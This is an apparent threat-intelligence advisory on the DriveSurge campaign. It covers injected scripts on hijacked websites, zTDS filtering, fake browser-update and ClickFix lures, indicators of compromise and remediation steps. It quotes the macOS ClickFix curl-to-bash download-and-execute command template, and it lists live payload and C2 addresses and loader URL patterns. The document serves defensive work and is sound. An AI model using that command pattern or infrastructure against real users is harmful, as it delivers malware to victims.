DriveSurge: Initial Access Broker Hijacks Thousands of Trusted Websites for ClickFix and FakeUpdate Malware Delivery via zTDS
DriveSurge: Initial Access Broker Hijacks Thousands of (TL-2026-0724), also tracked as DriveSurge, is a high-severity malware campaign, first published 2026-06-09 and last reviewed 2026-07-18. It is attributed to DriveSurge with medium confidence, affects Multiple Web browsers (impersonated), references 1 CVE (CVE-2026-26980), maps to 29 MITRE ATT&CK techniques (T1005, T1008, T1027), and is covered by 9 detection rules and 47 indicators of compromise.
Key facts for TL-2026-0724
- Threat ID
- TL-2026-0724
- Also known as
- DriveSurge
- Severity
- HIGH
- Status
- ACTIVE
- Category
- MALWARE
- First published
- 2026-06-09
- Last reviewed
- 2026-07-18
- Attribution
- DriveSurge
- Attribution confidence
- MEDIUM
- Motivation
- FINANCIAL
- Target sectors
- education, technology, logistics, healthcare, general public
- Target regions
- North America, Europe, Global
- Detection rules
- 9
- Indicators of compromise
- 47
- Updates
- 2026-07-18 · 2 updates · revalidated 2× · latest source
Malware and tooling in DriveSurge: Initial Access Broker Hijacks Thousands of
Malware and tooling: ClickFix, FAKEUPDATES, zTDS
DriveSurge is an active, year-long initial access broker (IAB) operation that injects malicious JavaScript into thousands of legitimate high-reputation websites and silently redirects visitors through an open-source traffic distribution system (zTDS) to ClickFix and FakeUpdate (fake browser update) lures. Operating a pay-per-install (PPI) model, it impersonates Chrome, Firefox, Edge, Safari, Opera, Brave and other browsers to trick Windows and macOS users into running or downloading malware.
How DriveSurge: Initial Access Broker Hijacks Thousands of works
DriveSurge is a mature, financially motivated cybercriminal operation first publicly named and tracked by Silent Push (report published 2026-05-30) and corroborated by Gridinsoft, Dark Reading, BleepingComputer, TechRadar, SC Media and Malwarebytes. It functions as a specialized Initial Access Broker (IAB) using a Pay-Per-Install (PPI) model, supplying downstream threat actors with high-quality, geo- and OS-filtered victim leads. The operation evaded detection for nearly a year, with attacker infrastructure observed in use since at least 2025-09-13.
The operation's core weapon is a Traffic Distribution System (TDS) built on zTDS, an open-source TDS publicly available at ztds.info and in circulation since at least 2015. DriveSurge compromises thousands of legitimate, high-reputation websites — across logistics (e.g. jclforwarding.com), education, technology, and healthcare — and injects obfuscated JavaScript loaders. Reported website-compromise vectors include exploitation of vulnerable CMS platforms; Malwarebytes documented 700+ Ghost CMS sites hijacked via the unauthenticated SQL injection CVE-2026-26980 (Ghost 3.24.0–6.19.0) during the same ClickFix wave, where the leaked Admin API key enabled injection of malicious code. Injected scripts call out to inject/loader domains (e.g. beacontrace.bond, webgleam.info, cptoptious.com, banerpanel.live, maxintora.com) using recognizable fingerprints such as `t.js?site=<32-hex>`, `t.<12-hex>.js`, `ext-b.`/`ext.<12-hex>.js`, and the zTDS `jsrepo?rnd=*` request. zTDS (analyzed at version 1.0.3) performs visitor fingerprinting and filtering — ASN/IP/referrer blacklists, bot-signature detection, mobile-operator IP filtering, captcha integration, and IPGrabber database checks (bseolized.com) — so that only fresh, targeted human victims are redirected while researchers, crawlers, and bots are shown benign content.
Visitors who pass filtering are funneled into one of two social-engineering lures. The first is a FakeUpdate browser-update prompt that impersonates roughly a dozen browsers (Google Chrome, Mozilla Firefox, Microsoft Edge, Safari, Opera, Brave, Yandex, Vivaldi, Samsung Internet, UC Browser, and an 'Other' category), urging the user to download a fake update that is actually malware. On Windows this delivers a 'Browser Update.exe' package (a ZIP containing DLLs plus an executable; SHA256 90aecb370dfb1a99a1f7de0a9c6842ab1b664521fddea16b0ec9a91f322646fc). The second lure is a ClickFix attack: a fake error/verification dialog impersonating Cloudflare or reCAPTCHA. When the user clicks a fake 'I'm not a robot' checkbox, JavaScript hijacks the clipboard (replacing its contents with a base64-encoded command disguised as a 'reCAPTCHA Verification ID') and instructs the victim to paste and run it in the Windows Run dialog / PowerShell or, on macOS, in Terminal.
DriveSurge maintains dedicated cross-platform payload chains. Windows victims receive PowerShell-staged downloaders (development path /assets/snippets/droppers/terminal_ps1_downloader/content.ps1). macOS desktop users — explicitly filtered to exclude iPhone/iPad even when a Macintosh user agent is present — receive a clipboard-hijacking Terminal command of the form `cd /tmp && curl -kfsSL "<payload_url>" -o <random_file> && bash <random_file> && rm -f <random_file>`, pulling Mach-O payloads from macOS payload servers (46.226.166.57, legacy 147.45.42.200, and C2 147.45.42.205:8133). ClickFix malicious code was also sourced from 91.92.240.127.
The infrastructure shows consistent tradecraft: domains registered through NiceNIC using temporary/disposable email (tempmail.so) — e.g. thiagorivera197151@ycyfugihih.cfd (first domain 2026-04-08) and pivot email samuel_jordan16@flixtrend.net — favoring the .icu TLD, nameserver ns1.erans.ru, and ASNs 203273 and 210644, with bulletproof hosting. Silent Push identified pre-weaponized but not-yet-active domains (brightson.icu, coverlink.icu, datumprobe.icu, eraggifts.icu, keyview.icu, traceglimpse.icu, tracekey.icu) and admin/panel infrastructure (testio.ecartdev.com/login.php, banerpanel.live/admin/login.php). No Cobalt Strike beacon match was returned by BeaconBeagle for the observed payload/C2 IPs, consistent with these being bespoke TDS/payload servers rather than commodity C2 beacons. The campaign remained active and under tracking as of mid-2026.
MITRE ATT&CK techniques used in TL-2026-0724
Collection
T1005 Data from Local System; T1115 Clipboard Data
Command and Control
T1008 Fallback Channels; T1071 Application Layer Protocol; T1102 Web Service; T1104 Multi-Stage Channels; T1105 Ingress Tool Transfer; T1568 Dynamic Resolution
Defense Evasion
T1027 Obfuscated Files or Information; T1036 Masquerading; T1070 Indicator Removal; T1140 Deobfuscate/Decode Files or Information; T1497 Virtualization/Sandbox Evasion; T1574 Hijack Execution Flow
Execution
T1059 Command and Scripting Interpreter; T1204 User Execution
Discovery
T1082 System Information Discovery; T1120 Peripheral Device Discovery
Initial Access
T1189 Drive-by Compromise; T1190 Exploit Public-Facing Application
Persistence
T1505 Server Software Component
Resource Development
T1583 Acquire Infrastructure; T1584 Compromise Infrastructure; T1585 Establish Accounts; T1587 Develop Capabilities; T1588 Obtain Capabilities; T1608 Stage Capabilities
Reconnaissance
T1592 Gather Victim Host Information
Impact
Affected products and versions in DriveSurge: Initial Access Broker Hijacks Thousands of
- Multiple — Web browsers (impersonated)
Vulnerable versions: Chrome; Firefox; Edge; Safari; Opera; Brave; Yandex; Vivaldi; Samsung Internet; UC Browser - Microsoft / Apple — Windows and macOS desktop endpoints (targeted victims)
Vulnerable versions: Windows; macOS - Ghost Foundation — Ghost CMS (reported website-compromise vector)
Vulnerable versions: 3.24.0; 6.19.0
Fixed in: 6.19.1
Remediation for DriveSurge: Initial Access Broker Hijacks Thousands of
Patches
- Ghost CMS: upgrade to 6.19.1 or later to fix CVE-2026-26980 (unauthenticated SQL injection) for sites running Ghost
Immediate actions
- Block the listed DriveSurge inject/TDS/payload domains and IP addresses at web proxy, DNS, and perimeter firewall
- Alert users that legitimate browsers never instruct copy-pasting commands into Run, PowerShell, or Terminal, and never deliver updates via website pop-ups
- Hunt endpoints for PowerShell/curl-to-bash execution originating from clipboard paste, browser child processes, or the Windows Run dialog
- Quarantine hosts that downloaded 'Browser Update.exe' (SHA256 90aecb370dfb1a99a1f7de0a9c6842ab1b664521fddea16b0ec9a91f322646fc) or the listed macOS Mach-O hashes
Workarounds
- Restrict execution of PowerShell and curl|bash for standard users via application control
- Block clipboard-driven script execution and monitor mshta/PowerShell spawned from browsers
Longer-term hardening
- Deploy EDR with behavioral detection for clipboard-hijack-to-shell and FakeUpdate execution chains on both Windows and macOS
- Implement DNS filtering and newly-registered-domain / .icu-TLD risk scoring
- Patch and harden public-facing CMS platforms; apply Ghost CMS v6.19.1+ to remediate CVE-2026-26980 and rotate any exposed Admin API keys
- Educate users with ClickFix/FakeUpdate-specific awareness training and disable the Windows Run dialog / clipboard paste-to-terminal where feasible via policy
CVEs associated with DriveSurge: Initial Access Broker Hijacks Thousands of
Weaknesses (CWE) in DriveSurge: Initial Access Broker Hijacks Thousands of
CWE-89, CWE-1021, CWE-506, CWE-451
Timeline of DriveSurge: Initial Access Broker Hijacks Thousands of
- zTDS, the open-source traffic distribution system later abused by DriveSurge, becomes publicly available (ztds.info) and in circulation since at least 2015.
- Underlying campaign infrastructure (later linked via cptoptious.com/jsrepo overlap) begins appearing per Rapid7 analysis; some domain infrastructure registered during the July/August 2025 window.
- Earliest documented use of DriveSurge attacker payload/C2 infrastructure observed in the wild (per Silent Push tracking).
- The Rapid7-tracked, infrastructure-overlapping fake-Cloudflare-CAPTCHA ClickFix campaign reaches its current operational form, compromising 250+ WordPress sites across 12+ countries.
- DriveSurge macOS payload and C2 infrastructure (legacy server 147.45.42.200, later 46.226.166.57 and C2 147.45.42.205:8133) observed in active operation during the campaign's pre-disclosure period spanning late 2025.
- Rapid7's MDR team handles a customer incident involving execution of the malicious ClickFix PowerShell command from the infrastructure-overlapping campaign.
- Silent Push conducts detailed investigation and infrastructure pivoting on the DriveSurge zTDS, inject, and payload infrastructure.
- Rapid7 MDR handles a second customer incident from the same infrastructure, delivering a .NET stealer payload rather than the PowerShell ClickFix chain.
- Security researcher @James_inthe_box publicly shares intelligence on compromised website www.mrfpaint.com, an infection vector for the infrastructure-overlapping ClickFix campaign.
- ClickFix injection scripts temporarily disabled across previously infected WordPress sites, followed by an infrastructure IP shift (94.154.35.115 -> 172.94.9.187) in early March 2026.
- Rapid7 Labs publishes full campaign analysis of the fake-Cloudflare-CAPTCHA WordPress ClickFix operation sharing jsrepo/cptoptious.com infrastructure with DriveSurge.
- First DriveSurge .icu campaign domain registered via NiceNIC using disposable email thiagorivera197151@ycyfugihih.cfd.
- Malwarebytes reports 700+ Ghost CMS websites hijacked for ClickFix via unauthenticated SQL injection CVE-2026-26980 (Ghost 3.24.0-6.19.0), fixed in 6.19.1.
- Silent Push identifies pre-weaponized but not-yet-active DriveSurge domains (brightson.icu, coverlink.icu, datumprobe.icu, eraggifts.icu, keyview.icu, traceglimpse.icu, tracekey.icu) and admin/panel infrastructure (testio.ecartdev.com/login.php, banerpanel.live/admin/login.php), indicating staged future operations.
- Silent Push publishes the DriveSurge report; Dark Reading, BleepingComputer, TechRadar and SC Media report on the campaign.
- Gridinsoft Malware Research Team analysis catalogued in the Malpedia (Fraunhofer FKIE) library.
- DriveSurge remains active and under active tracking as of mid-2026, with compromised high-reputation websites continuing to redirect victims to ClickFix and FakeUpdate lures across Windows and macOS.
Update history for TL-2026-0724
- 2026-07-18 — DriveSurge: Initial Access Broker Compromises Thousands of Websites via ClickFix and FakeUpdates Drive-By Campaigns: What changed No severity/exploitability/status escalation — both remain HIGH/ACTIVE/ACTIVE. The update is an intelligence-scope expansion: a corroborated Rapid7-tracked infrastructure overlap adds a second attack surface (WordPress, 250+ si
- 2026-07-18 — DriveSurge Initial Access Broker Uses ClickFix and FakeUpdates zTDS Campaign to Distribute Malware via Thousands of Compromised Websites: What changed No severity/exploitability/status escalation — both reports describe the same active, HIGH-severity DriveSurge campaign as of the same disclosure date. New indicators (1) 1 new compromised-site example (jclforwarding.com, freig
Sources cited for DriveSurge: Initial Access Broker Hijacks Thousands of
- Meet DriveSurge: A New Threat Actor Using ClickFix and Fake Update Drive-By Attacks in Thousands of Compromised Sites
- DriveSurge Turns Trusted Websites Into ClickFix Malware Traps (Malpedia library entry)
- DriveSurge Turns Trusted Websites Into ClickFix Malware Traps (Gridinsoft Malware Research Team)
- DriveSurge Hijacks Thousands of Sites for ClickFix, FakeUpdate Attacks
- Hackers hijack thousands of sites for ClickFix and FakeUpdate attacks
- 700+ education and tech websites hijacked in huge ClickFix malware campaign (Ghost CMS / CVE-2026-26980)
- Thousands of compromised websites abused by DriveSurge in active ClickFix and FakeUpdates campaigns
- DriveSurge actor uses ClickFix and FakeUpdates to distribute malware via compromised websites
Threats related to DriveSurge: Initial Access Broker Hijacks Thousands of
- DriveSurge — Initial Access Broker Drives Mass ClickFix & Fake Browser Update Campaign via zTDS (Silent Push)
- ClickFix Campaign Deploying Potemkin Loader, RMMProject RAT, and EtherRAT - May 2026 Enterprise Compromise
- Ghost CMS Content API SQL Injection CVE-2026-26980 — Large-Scale ClickFix Watering-Hole Campaign Compromising 700+ Domains (XLab)
- Mistic Self-Destructing In-Memory Backdoor (MLTBackdoor) Deployed by KongTuke Access Broker Enabling Multi-Group Ransomware Intrusions
- ACSC Advisory — ClickFix Campaign Distributing Vidar Stealer via Compromised WordPress Sites Targeting Australian Infrastructure
- Pokémon Brand-Spoofing Campaign: 1,352 Lookalike Domains Ahead of 30th Anniversary
Detection coverage for TL-2026-0724
As of 2026-07-18, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0724 across Splunk SPL, Microsoft KQL and Sigma, covering 47 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.
Community OSINT corroboration for TL-2026-0724
3 of this threat's indicators have also been reported by the open-source security community, which observed at least one of them before this report was published. Community sightings are unverified and are kept separate from Threadlinqs' curated indicators. Indicator values, reporters and campaign linkage are available to authenticated Red-tier users.